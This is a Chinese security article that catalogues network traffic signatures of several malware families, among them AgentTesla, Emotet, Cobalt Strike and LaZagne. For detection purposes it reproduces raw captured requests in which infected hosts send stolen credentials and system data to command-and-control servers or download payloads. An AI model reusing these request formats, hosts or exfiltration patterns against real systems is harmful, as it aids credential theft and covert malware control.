C2的几种常见的流量特征举例总结。-安全小百科

前言：以下为几种常见的C2流量特征。

AgentTesla

一个基于.NET的键盘记录器。记录击键和主机的剪贴板，它最终将这些记录的信息返回到C2。它具有一个模块化的基础结构。

流量特征如下

HTTP下

POST /zin/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: megaplast.co.rs
Content-Length: 308
Expect: 100-continue
Connection: Keep-Alive

HTTP/1.1 100 Continue

p=G1DZYwdIiDZ6V83seaZCmTT0wiCyOlXVS0OEx4YpkUAOuKO/6hfQJ%2BZD2LjpTbyu9w0gudjYXCIc0Ul74wtsvtqYLYuTR%2BlFVl%2B5deG0RnTTo6nFc1M9tx0%2BRo7WXetRdIHkmVMMSeqH%2BEroM7yttDzosvKfKgB%2BJ07oqT/YvQ6CPNW2%2BCETCU6oIlO9XYyrEy6/hYeF%2BgkfRc9xSEfZhh/7Wk0khJ4zZJ3cjEvXDxJcQWA739/yDUy4kOAndihYsWnLw1mVCHxJSJf7%2BguB9f4DpgX10NLpH

FTP下

Time: 11/25/2019 17:48:57
User Name: admin
Computer Name: VICTIM-PC
OSFullName: Microsoft Windows 7 Professional
CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
RAM: 4095.61 MB

URL:https://www.facebook.com/

Username:[email protected]

Password:testpassword

Application:Chrome

URL:192.168.1.1

Username:[email protected]

Password:testpassword

Application:Outlook

SMTP下

From: [email protected]]com
To: [email protected][.]com
Date: 12 Oct 2019 17:58:19 +0100
Subject: admin/VICTIM-PC Recovered Cookies
Content-Type: multipart/mixed;
boundary=–boundary_0_cac7ba32-e0f8-42d4-8b2e-71d1828e6ff7

—-boundary_0_cac7ba32-e0f8-42d4-8b2e-71d1828e6ff7
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Time: 10/12/2019 11:58:13
UserName: admin
ComputerName: VICTI=
M-PC
OSFullName: Microsoft Windows 7 Professional
CPU: Int=
el(R) Core(TM) i5-6400 CPU @ 2.70GHz
RAM: 3583.61 MB
IP: 18=
5.183.107.236=0A

Azorult

AZORult用于凭证和支付卡信息窃取。

流量特征如下

POST /index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: 51.38.76.57
Content-Length: 103
Cache-Control: no-cache

J/.8/.:/.?/.>O.(8.I/.>/.9/.>K.>8.N/.I/.;/.;N.>:.NL.?N.>8.(9.L/.8/./.4/.I/.?/.>H.(9.(9.(9.(9.I

Buer Loader

Buer是一种在地下论坛上销售的下装载机，被威胁者用来将有效载荷恶意软件传送到目标机器上。

流量特征如下

GET方式

GET /api/update/YzE0MTY2MGIxZWQ5YzJkMDNmMjQ4MDM0Y2RlZWI2MWM1OTEzYWJmZTIwYWE1OWNjZDFlZjM2ZmZjODViNmVjNTBjNTIyZjY5YjM1MTJiMTc2NzBlNTQwOWFjMWZiZjViZTAzNzdkNWM2NDkxOGE4ZDUwYTMxZjU5ODIzY2QxNTQyMmM5ODM0MjIwNTc5ZGIzNGJiMTMzNWNlMmJlNDJmMjBhMTA5MTVjNWQxZThmN2U0OWJjYjY0ODVjODE4NjQwYjk3YzY0NWU5NjAxNGMxY2U3NWQ2MmI5N2MwY2QzNzlhMmQ2ZmM5ZDFjZjIwNWMwMTEwNWVkNDAyZjY0ZDYyMTg0Y2UyZmJhZmEyYTQxMzBhZWRiNmY0ZjI2ZjFjZmI4MTQwMTBiYzE0Y2Y4NjBiM2U2NGE1NTBhNTc0Y2M4

HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Host: loood1.top

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 12 Nov 2019 20:00:24 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive

ODMtMkQtNzItMUMtMEQtOTgtREEtOTAtMzktNjUtREYtNzYtRDktQkYtQkYtNUEtMDUtNEMtRjAtRkMtMjAtQzctMEUtQzMtRDAtODYtMzYtRTQtOTktMDAtN0YtRDAtNjQtNDctMzktMkYtRTktMTMtM0MtNDgtNjktNTQtNDEtMTktRjMtNUUtQTItNjgtQTUtMjQtNkEtNEItNzItQ0UtODUtRDQtMDAtQjctMTYtNEItOUItMDQtQzgtMTctN0UtRDgtQzctMDAtM0ItN0ItQzUtQTQtMTYtQUEtM0UtNEEtRjMtRUItNDUtQTctMEItMTctOTEtNUItNTQtNEEtODUtNzctNEEtQjUtRTYtMUMtNTktRDEtODctNDQtQkItMjAtNkQtNTgtQzEtMEEtNEItNEMtRTEtNTItM0MtRTItMkYtNTktOEUtMkUtRjItRDgtRjQtOTgtMUYtRjEtNTEtQzktMTUtNTAtQkEtNDktMkUtMzAtRDMtMjUtRDMtODctNEItQjYtRjUtN0MtMUUtMjQtRTktOTgtM0MtNTYtNjYtRTUtRDctQ0UtMDAtNUQtNkEtODUtMDEtQjEtMkMtQjctODUtMkQtMzItNjItNUEtM0UtRUQtMTYtMDYtMjYtMDYtRDMtOTYtMDMtOUEtOTEtN0MtMTUtOTEtRkYtQUItMDItQzItNzctRTItN0EtNDEtMEEtQjAtMzItOUEtMEYtRjQtMDMtNzAtMUYtMEItNTEtMDktM0EtNzQtQjEtODgtMzEtMUQtREEtQTItRjQtMzktNkUtMTctRDItRDktNTQtRDUtOEYtMDAtQkEtODEtNkUtNEUtMzUtQTMtNTItRkQtODctRTMtRDYtMkMtNTQtODctQTItNjYtQzgtM0MtMzgtQzctMEEtM0EtOUQtOEEtMzAtRTAtMDgtMzItMTAtMDgtRjItQjYtRkUtMUQtQzctQzgtQUUtOEYtNjctQUUtNTItMDUtQTktMTAtQUYtM0MtOEUtMTMtN0EtNzItM0YtMzAtRTktMzUtRDMtNTQtQkEtOEQtQzAtMzItQTctRkItNDUtQTMtNTctRTQtMUItMzAtODItNEYtOTEtOTktMUMtRDItRjgtMkEtMzYtRTItODktQjItQkItMUItNjYtQUMtMUItOEMtNjQtRUEtN0QtQkQtMkMtOTktQ0QtQzQtQkQtNzgtQzgtOUMtQjAtNkQtNTYtOEUtRDktREEtOTEtMEEtNkMtQUEtQTQtMUUtRTAtQ0MtMzMtRDMtMjAtRTItNjktMjktQzEtRTQtNjEtMTAtMjUtOTgtNjMtOEUtNTgtNzQtRjctNUEtNEYtNDktQzUtNjItNTEtNTAtNTgtNDktM0QtREQtNjctRDctNjEtMTAtMTktRkItNzUtODYtRUItMEYtQzMtRDMtQkQtMjctNkUtQzYtRDktQkYtQUUtNDAtOEEtMUEtMUQtNjctOEMtMjItNjctQjgtNUQtQzItMTUtREQtODMtNzgtNjctN0ItMTMtNDktNzMtRjMtRTAtNEYtMDUtRkYtQjktQ0ItMkEtMDctQkMtRTgtRTMtREQtMUMtNEEtQUQtQjItMTUtNUEtNDMtMTQtQUEtNDEtMUQtNzAtMUEtREQtNTQtMTYtOTAtNjctMTUtNjUtQTgtMjItMTUtMzgtRDYtNjgtOTQtNDMtNDQtQzgtNkQtMUYtNTAtNkMtMTgtMzMtQjUtNzAtOTQtMDQtNzMtRDMtNjQtMTktNDctNjYtNzgtOTEtQkUtQ0ItRTktREItNkQtODgtRkMtOTAtOTk=GET /api/download/YzE0MTY2MGIxZWQ5YzJkMDNmMjQ4MDM0Y2RlZWI2MWM1OTEzYWJmZTIwYWE1OWNjZDFlZjM2ZmZjODViNmVjNTBjNTIyZjY5YjM1MTJiMTc2NzBlNTQwOWFjMWZiZjViZTAzNzdkNWM2NDkxOGE4ZDUwYTMxZjU5ODIzY2QxNTQyMmM5ZGU0NjMDI5MWU2NGJhNTYyMDhiMGI4MDlhNDBkNGQ5NjQ2NWQxYjgzNzYwNmIzYjQxZTViZDU4MDE3YjQyZjZmNTVjNg==

HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Host: loood1.top

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 12 Nov 2019 20:00:24 GMT
Content-Type: application/*
Content-Length: 2109952
Connection: keep-alive
Last-Modified: Tue, 12 Nov 2019 19:32:38 GM

POST方式

POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Apple-iPhone7C2/1202.466; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3
Content-Length: 1046
Host: 162.244.81.87

inekece=MDllNzB&diakwadi=iMzE5OG&xycyad=NiNTYxZTcw&ohxiods=MzA0Yj&akreuq=NmZjUy&qosewyic=MzRmMTk5M&amupawel=jdjZGViY&ydsohuu=jljNzMxZDc&orbemaaf=3ZDExMmEx&inhiadfa=ZjA3MG&kyzeafu=UyYzc0M2&alnaexu=M3NGZj&idsavu=Y2VjM2RhO&nyxyygre=GY3YmR&tuxynool=hMmU3Yzc1O&myweka=DNkMDAwYWF&qeozoszi=kOGRlZD&dygyliaz=diNmZkNW&ykdovy=ZiYmVhY&yvabqua=zA4NWEzN&ugsoetl=2Y3ZDk&wymioxi=xNzIwMTIy&uqafsee=Njg1ZTYwNG&cyyqsady=M3NmQwZj&ykuweddy=hkYTQ5ZTV&emlazebe=hYzc5MGVkZ&imirdaby=mJiMzU&doyvku=wYzRhNzQ&roniym=0YTQ5ZDBi&qyaxwe=MTlmZW&uteqop=NkZjdkN2Z&noylke=lNTg5OGJmM&dedynu=DEzNjgxM&suutyfwu=DBkMjFiYm&riitoked=M3NmJjMDg&waliaw=2ZjNhNW&qiubulo=EzZGU2Zm&urehuz=UxNzhjZj&guizpuat=kzYjMzMz&ziapluc=IzODIyYT&orygybib=Y2OGUwY&ebilxufo=2RmYzllM&wesekuy=DVlZThmYTQ&buapxa=3MGVmZDM&lisoxu=xNTlkZ&usgager=TBmOTZDY&cuehlumy=0ZTA5OTZlO&raxyuh=DE2MTA0YWN&piuluwyc=iYjQ4NjE0&gybetez=MzQ3ZW&isvazugo=NhZDExZGEz&obalozha=YmJjZDQ4&pivoewta=NzljOTI&dakiva=xMTE4ND&luzaih=A4OGEz&sesyaci=Mzk0ZWE1YT&opheteow=AxNjQwN&ebzyluo=zBkZWYy&osfiuk=ODc2&yzxaob=NDVmMTViNjdkZDli&exmuur=suirufy

Cobalt Strike

Cobalt Strike是一款付费渗透测试产品，它允许攻击者在受害者计算机上部署一个名为“Beacon”的代理。Beacon为攻击者提供了丰富的功能，包括但不限于命令执行、键盘记录、文件传输、SOCKS代理、权限升级、MimiKatz、端口扫描和横向移动。

流量特征如下

GET /Mdt7 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; NP06)
Host: 192.168.1.44
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Wed, 16 Nov 2019 02:13:32 GMT
Content-Type: application/octet-stream
Content-Length: 213589

…….
w.z….=……….C.D.’.’Z.2….:1….R..1…1…….1.9.t…^…….3.Q.3.R.~…~……….6a..6a-L^………………………………………`…..W…?…O…=…^…1…T…:…….:…_…U…U…U.v…….v……,9
.W.E.3k..a….9..l.T..k………..J……;J.._.k…$……J….h…’..qD

GET /push HTTP/1.1
Accept: */*
Cookie: TwJl1o2Nzk3+xmC39FsNTbyJPGHyNxllFZ8wZUwR831SYmTwrxoGydXQGF1ej89K1t0rTLgzjd95c8127hlZ6SQ4hx95YrYuRHooitXYGEAxtbKv53LJ6K+6r1y1OQU3n0+O93xxPiyx6RvPeKzlACbO4nEc5YKzh0vAfWJvlm0=
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENXA)
Host: 192.168.1.44
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Wed, 16 Nov 2019 02:017:31 GMT
Content-Type: application/octet-stream
Content-Length: 0

遵循AmazonC2配置

GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1
Host: www.amazon.com
Accept: */*
Cookie: skin=noskin;session-token=MM4bZQ5WUPUrn7TPQuCWct6G+WGXZaLdezMQVEv8PHnB7tnvTk7ct3W71pQmn2NMJQD7IFbjPnKJV27tKshA8AjgzpXoeUtOIrDiBEg0x3AesYq52s74IbjnsVA+wASo0D6L23fd87XNDUiBro5wNBzcybUOADAO1fjCobw5MAw=csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Fri, 13 Dec 2019 17:48:39 GMT
Server: Server
x-amz-id-1: THKUYEZKCKPGY5T42PZT
x-amz-id-2: a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Content-Length: 0

遵循safebrowsing配置

GET /safebrowsing/ref/eNKSXUTdWXGYAMHYg2df0Ev1wVrA7yp0T-WrSHSB53oha HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip
Host: novote.azureedge.net
Cookie: PREF=ID=foemmgjicmcnhjlacgackacadbclcmnfoeaeeignjhiphdgidlmahkgbchcahclpfcadjnegckejpiofbmllpnaeancgbikcdjohkekapgnkgiijobnknkgiahmkcjipnncehcamnopcmlngcboppjdplhhobhgekdcblgpkdggeklenpcabdkhhhaedogkacljhdgdphfanfbmcbnkgjmplhdkomllhnnoppchchejooiplahpgpmfaegdcpbnd
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Encoding: gzip
Age: 1609
Alternate-Protocol: 80:quic
Cache-Control: public,max-age=172800
Content-Type: application/vnd.google.safebrowsing-chunk
Date: Fri, 22 Nov 2019 13:34:50 GMT
Server: ECAcc (frb/67BC)
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 82480

Danabot

Danabot专注于持久化和窃取有用的信息，它的流量标志是在“24 01 00”下的24字节第一个数据包。

00000000 24 01 00 00 00 00 00 00 e5 7c 00 00 00 00 00 00 $……. .|……
00000010 09 7e 00 00 00 00 00 00 .~……

Darkcomet

DarkComet能够通过使用简单的图形用户界面来启用对系统的远程控制。

流量特征如下

BF7CAB464EFBA57DAD495BECB15D8B4C57F0BE821AEF052DF1C27F08DDFC328EB3FE9F5699707BCDC8C751A55F2CE98F3201C7FC248AA8FC340C2F20D8436FEDEAF457052D53A8F4BFF6568F5D644E03BDB309B022A095BBC95AECE9ACB25EFD2BA04271017BADF1C0D75325C58BB1A8E32814BA1D830DF380472AFFBC7F034344A76764BFCC2D73B6836F4CF2D8518E9CA4A32A3C5FA402FA2837A9BEE006127A5E073F925EC3F95F680D25EB86F5823E5C645340002B677EA40FE1648BAE9D11EA4BC915D6E53CEF98429542C22BD7439A33FFE8B48BE44AD038C62AA82985A15A0F7F9E342D9F81EB0DB396D2589D80F51FEE9B296FCCE117FCCC25EB8445EFE7617E0930C3FC1931227EC1E2A01B18E0AE61924E7402CFBB418711F39C890EB6AAD843903AE1D39A0DF31AFFDECA82F3FA48EB19D122088C809D5CEA3F4C59E8C8D57AB04B3DFDE3DD47B37878AD856643B46CAD5A4DEBC3E677BA446EBAD350549BB36FC8FAAE784C7C1EC91932AEB6A3014F3C11FDB9EBA711B7517E0EEFA15FF93BDBE8D0E716D8C7E5F3

Dridex loader

Dridex是一种规避、窃取信息的恶意软件变体；其目标是获取尽可能多的凭据，并通过加密隧道将它们返回到命令和控制服务器。流量特征如下

GET /function.php?3b3988df-c05b-4fca-93cc-8f82af0e3d2b HTTP/1.1
Host: masteronare.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 05 Nov 2019 20:32:12 GMT
Content-Type: application/octet-stream
Content-Length: 455830
Connection: keep-alive
Keep-Alive: timeout=60
Accept-Ranges: bytes
Content-Disposition: attachment; filename=5dc1dcd884c.pdf

7Y2FGZnZ2enZ2dnZydnZ2dhgYD3Z2e1B2dnZ2dnZ2dnZmdnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnYPdnZ2dnYDUUJQA3ZDdll5flVQdWN6B19hcF9HVE51QFRaDllUWnFDfnB5X1VaAkFTdHVebWR1TlNgA1BWYANQZXIOY35wBkFtcGJCc2YHfH12dnZ2dnZ2dnZ1XxxRchx9bV5RVWRgblkFB1tafQ5DdlsAXlVjBW5ZBQd0b0FxQ3J9XlFVZn1SD1oFQ1p9DkMCR1F0VWRGblkFB1tafQJDX31eUVVmfVIAYAdcWn0OQ3ZbAFtVZGRuWQUHdG9CeUN9fV5RVWZ9UgIFB1xafQ5DYlpbXVZ0YG5ZBQd2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZicmJ2dnJAdXV2dXJRenFTdnZ2dnZ2dnZ2dnNQdnZ+X3RAcn52dnRAdkB2dlh9cn
POST / HTTP/1.1
Host: 194.99.22.193
Content-Length: 3442
Connection: Close
Cache-Control: no-cache

..5……[,h?])moo..;.Y..
v..jq……….G.0vR…@ ..6tw..<.>#l.K..8….v…v……=.+…….Q..v..P5…y…uhTqR.
..v.QoM..o.I.l…>…..p…..Rt……………

Emotet

Emote在历史上是一种在僵尸网络中组织起来的银行恶意软件。流量特征如下

POST /mult/tlb/ HTTP/1.1
Referer: http://69.162.169.173/mult/tlb/
Content-Type: application/x-www-form-urlencoded
DNT: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 69.162.169.173:8080
Content-Length: 468
Connection: Keep-Alive
Cache-Control: no-cache

5Grps=L1sIwg4a7XWGwPpN9LOBzMiBXsZTP33ixo%2FUspmgBLoaYr0K7KnwvoUER9%2B5NzIxpTHgpSTeVRZMm92wSA%2Ff9pG66uhR%2FX%2BGREn%2BVIvlr3LiYQupDVsdexmgD%2FSXdTJ%2FxXNSo5Q52S4HvI9eLtM9s0arCw%2FNNEZlkzp6e8omxU3854YNNNUcAV54N30rgISrXlxvWJz9TP%2FelEcMxMf3hzv91K1Uz8H2KWzWjV2x78pmAG9HGdkFGLaOq6Tqp1LH6Uc7c1gzmZ3Cht2T4cKg06DPDTHkXYj%2F7uCMWAFMO%2FS4QlZl1XKi8MmZck0JAmxsZdGcmIkQoqq5DzFCio6fUAgvqUN3g1%2BP5eXYeZpGu1xIzbWLRG9Wtt2vUOjz4ezl6Z%2B2peN1LKWN%2F8V0CLjxQHhXSu9YZP4g3NIdJ5qofLmM0ipT

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 07 Oct 2019 13:38:33 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 148
Connection: keep-alive

.^ta.I..Z .._AJ*..=._…5-…F.L{>…`.c…..~.|.h…@.E…2.Z|U..W..M….b……X.FA….x……j?/C……{pi.b….Cz……>D..yQ……..G.q…4?..

Formbook

Formbook在受害者的计算机上部署自己时，会执行许多操作来躲避AV供应商。流量特征如下

POST /k9m/ HTTP/1.1
Host: www.liuhe127.com
Connection: close
Content-Length: 3769
Cache-Control: no-cache
Origin: http://www.liuhe127.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.liuhe127.com/k9m/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

Sbh=A2oUV0jxRNQErH6gY3lxQtOCTuQwNTdWJ25sTcda3oav(0QcLnkBrePt5vgAKuqyhbAftuJA5G5D2fNVsLRL8o7GMMvu8SY6wR8pwXAraJm4TKmuw5(TglqswaX2VpD_gJ3yal4FZ1pkDvEP81iuj_l_mMoqsdCGaFMxmu8LQC1CZjkxIXbFtlEaQg0Wfzvxpk9XRS39rZxxdqjALdRL8_N2LHRzPN35WuoIIn2J0mUB7u7x~42TwXHpZcLTJ4cELO23a_seXaFdgz~QWrxi7L3N9oGrwrY4tSxRUCsHQCoAB8CsxlUDIkY67TYTnYPmJxKxE06yA9NA5buPXUU-rDGiNGDQ25(b371m2NNnyheUxDNxyL6wr0syvlQ7Qn~DvzJO1j4_01FUfdeQKDmT9nuRD7AXJYaO3DIZnG1RWkvBxF0H38hB8-R7b1kP1IZqlFNLuC1ttRMUWPoRYyiYb-5rzJXywgOQncCVwVXcwH8dkVBf8nIw1doGRbV0yBZciG1vmCQMiyqspdkDVZt-1KyQhCCDaZWgyx(jUEtrJ5ZzRRfL7eaLGAG1u46ihMFAoJdDXorJcFL051WdJ2wHBfyMv2c9wu1j78lVpEWNkON2Qnw-8VOoQrg4ItHWjdsmkjCk(8A-d-uwY70GE0UXkWhPpg~_8qCqj_XNsXD1Cku4u0im9ibvYCLeQyYDn_FmL-U7ZNtOIbYeTHchiTz3fwdILdormZDVBuDzJlRACku5YKuqCIZoTnxUBI(iGkeX0da3GEkWCi8MA6nuA390kyWjwjSpzGHFYPG0B41C5bU5KrJx(9qiFYNfQPZqv5KDyJL8tN7jrqIny7WzTVRqvRHCeerIFPL5vosxC_3QvH2AlElM8Ssx(QZqz22ySsvMzyq8Hv~3tMLtg8mgzByn2dH2WrNAM3nk~XXu(6GurJtah4M9tPmohFGPLZxX5e3WCJ~h16eNNM4OaV~MOGVYusVrPgqFUS6P7iizTBZS(MsulNfuAKYvUq2kUMtCYSZAt34TUY6bJ5BTPy~4ydE8n16XohSRP8VbqhLAZ4DGO2n-hfrK2o9oUsNUWcpZyKA2(9kXBftM3s5lzWT21wBKbcPaiPURUuV4eheOkTBTxTB_mMxCafVVE6yvbJD-XIpSazCu(sS7~QUEbh6EPrqsB11rhKlRPy39G2rLo6lSMHeGjCmI5Rc80lhtZyFKcqhNYbhwuiEn3uK9CodgYxVie6yY1MwI(M8VSBZ-zQjldjXnFN~7oKDW3JglzgbK3lzeDK5aRb0HTwohxi8M9lRkTKflhtcr77iOlBVcE6HYSbchngmsBWBgPwA75xvzJhUUtgjJlxLW~bSPMG7x7GLVfCZjxxrjki0R9ZPDVdx71eP4yoIdymwRgqddVSuGCAIf641vyoItI9QzfvvuZBdpRQi3ZEw7LUifYAyjYZ2Xd9KdOMiNiLLeLsDCgWib~5r8iSfExWtFjsEgOt(2W_0JQSAgplkqJxkO9YxSdB9xsPfeavxYirf7azw7UGnDTEMQUnMMECFM5_v29oh6tKvIolHPv_qZrW0nGwd0aCMfzUqcV0(NlfiEQOxVZTonlWkJoR3hyyZQ~dKGW9j_WbA-8s54GvC-VC~skS2jG4haG9bxKA6QZqRK4-2qI5o2U3rNoeQEz_~yMfZ2fQoftvSkgpJfcgjuh3qTOFK8b6OSe5wMnyLdniF_4xN3rO(73lGUB5l60LbBa4TAYc(Qn7pyfvhlhMx8nr0vm6kCom1xi-VN1M(fSDqNubOVR_8QORONDFaX41G3HYOrWQyQ5Cvd6lAFgWycF3KeaumEH0LEUP7vR3t8CqgQ5VqyDxtKNy0Z7MVbqsq6s8~aYdnUL5DxSG9pbe8LW4uDqLcBuZ2WiDWmdiRx0cbf9-s0qx6mSwAo(Wz67SmWp2X8VI3W4h3M3vf9BggKJQmHp7nLChKFWJWTuEGt43fxqjimz5WaRYtGOcdlH84XYvX9kEB1(Fp99P6VKHhrkuCOrtiirAvl7KvjXYhsiOn20cjKKUL6l8(aZofg6g(CqTpB5dDGN86Korg1L6advz28Cc9QidH5ZPIAHrWXi9nG5FtnBxG-3R2N(J6V~IGsC8NZIwv0qB~35YLhS9SlyD38(p(pgy9N3fPHO9Gzlzd6D3j74fN-N89jhcQTClusyQIhdjrYsqWnpi7Of2Hl9zRx(ut-kFP33A5zYLbDn54f9gg8kH1m(BeKfVXxVtpGLR4VQSBfZzVwPGnUei9aJDZkXwmg0xftRV~S3TxUucpU1d75Pa9NCvgMU51f7uv0XtF1S-0_nqUy(apdab1FJcSzLOVDXJDyOKr5P4px5QpKM1FZgH9mgQQZuo~rlcBi4jISUNx3qv7fwaBZ4KDYuICC1-KLeFh0i7YEU_njjPm31uzkYLlVxfbhAg6C7Fxcpr5_jzhW~me85m48ifV4C06qNAN5WgIGxJW07CUNAuLx2d4tZI85EWgoxQa3AOuINyalNllQZt2LBB~ReVqa8Gr3pLpZOSiDREVqDaruTFqNwAZndKWZ~CTIV4ss6txpH7ypXw3AZ4fiDn5j7NDtaJzXbptIpWgrv9yK(zab71BYxnEuPpsdZSnA2QWY9s300CraaT3RPj(gdt~5OjaG22qma1M9LYzgvBdIBH57aizchPopkjnWiJAuvabKSvJyEtKb5Ni67H1WbOnOKM8pMcqsaIBi1AfQV0PbikKmG-HikPS86JBnJXZs8BWrbgm7g8uGrVpnnuHbHuP4p4xAOgYNPDbnpSoXn0kH~vUc1JxLurnAnNWMmYgA5g3fIw7HGvJSnKn6DDHod7HUKWF3ggfFJdZbucZxbJ2fpE64O6nKFy9It-R0BRZqcunVVvWy4zwCQ_1brWO78sSQY3WY4Es8kI6nl5hc9k3dhAWgQJWeqVrUGnOyxnf3wP9Tjc3fbhhfMthKeTVJEn485mDsUhxaOlIUrAoNDk1Kmua8F3zzcHpo~ixmjApivEsgkkIIni~mHnw4sce0IaJmWT9Ka_FCRQTC3dNAkBJHjcfTsYpgDvJBeZI8V7tnXTcJwQShoQoTdzOUvebgdia2s6HyC8Ay3lybE0Kvi4Ufu2qeJDnpSdiZAi8Ba-AzxnhL~66T~sQU0SY1ZDTJsdMD9zA8h5A0g71lMEIFSEdczwnvBeXpuEiaX9FOoJQwoIyyq4KmaeML~f5ipBL5MgqKf36tQ4N9jiM0IMAZdarP~ZkdSRs6dnJ7bU4FFMvQUrM0EGSJMQfLAvB7d_c0IwGUl44oifYX7n8cNJQcRPEFt1PZYPKE47I_JQ2CSVE9Scfi6hmF2mrjjozj0NQFcK5B~W~c3GpQxJ8e9cNoWhrkZNK1CyKcuTjHkfWA5Bzoi5p5mrTFsA12M25Ubt5SuEd-grtNyFbdev6Uyoislno4UJ9J6-8ag6iZXJd_QI17cAFS4P71bi7ApOh50qN4cNMIQBUTQyriS5BG~os6RMAuoaSUq92eNx12764W~RIGssW6ItGJFcg09D9nPLTs9jUhkhVwPicIhcak5ZLrkASapi44847mp8bI7hAIINPrZaKEyXejiDm5OUm7UVGno15_(251Jq3-Aic6sgovlTvlWBTFSkikUCmSMDX96nLlTuNiC2BD42WLJfGoZQw4T341YKl3rFShZ24mtmUGThk-k1OxGK1ygo5wLOg_H_Bs9MfxPn3aoIQiBq(XC7l4Xzw2LREItIvFPQXoWU(dxz3g)..

IcedID

IcedID有一个模块化的恶意代码，具有现代银行木马程序的功能，类似于eus特洛伊木马的恶意软件。流量特征如下。

GET /photo.png?id=0181B9BACBCF3080870000000000FF40000001 HTTP/1.1
Connection: Keep-Alive
Host: eurobable.com

HTTP/1.1 200 OK
Server: openresty
Date: Wed, 16 Oct 2019 15:30:33 GMT
Content-Type: application/octet-stream
Content-Length: 605211
Connection: keep-alive
Last-Modified: Tue, 08 Oct 2019 11:43:19 GMT
ETag: “5d9c7657-93c1b”
Accept-Ranges: bytes

.PNG
.
…
IHDR…………..N.T….sRGB………gAMA……a…. pHYs……….o.d. ;.IDATOLrEV…..Le.D|…Rp.{..D…g`…[email protected],E
.~1Z..X.N…^G…..,f$.c…….ru.#O..’.~.

LaZagne

LaZagne为一个开源项目，用于检索存储在本地计算机上的大量密码。流量特征如下。

POST /te.php HTTP/1.1
Content-Type: multipart/form-data; boundary=—————————58748130728276
User-Agent: Mozilla/5.0 Gecko/20100115 Firefox/3.6
Host: 192.168.1.44
Content-Length: 1526
Cache-Control: no-cache

—————————–58748130728276
Content-Disposition: form-data; name=”userfile”; filename=”admin-MM-PC-passwords.txt”
Content-Type:application/x-gzip

########## User: admin ##########

——————- Firefox passwords —————–

[+] Password found !!!
URL: https://m.facebook.com
Login: [email protected]
Password: testpassword

——————- Outlook passwords —————–

[-] Password not found !!!
Account Name: [email protected]
POST /te.php HTTP/1.1
Content-Type: multipart/form-data; boundary=—————————58748130728276
User-Agent: Mozilla/5.0 Gecko/20100115 Firefox/3.6
Host: 192.168.1.44
Content-Length: 1526
Cache-Control: no-cache

—————————–58748130728276
Content-Disposition: form-data; name=”userfile”; filename=”admin-MM-PC-passwords.txt”
Content-Type:application/x-gzip

########## User: admin ##########

——————- Firefox passwords —————–

[+] Password found !!!
URL: https://m.facebook.com
Login: [email protected]
Password: testpassword

——————- Outlook passwords —————–

[-] Password not found !!!
Account Name: [email protected]
POP3 User: [email protected]
POP3 Server: 192.168.1.1.
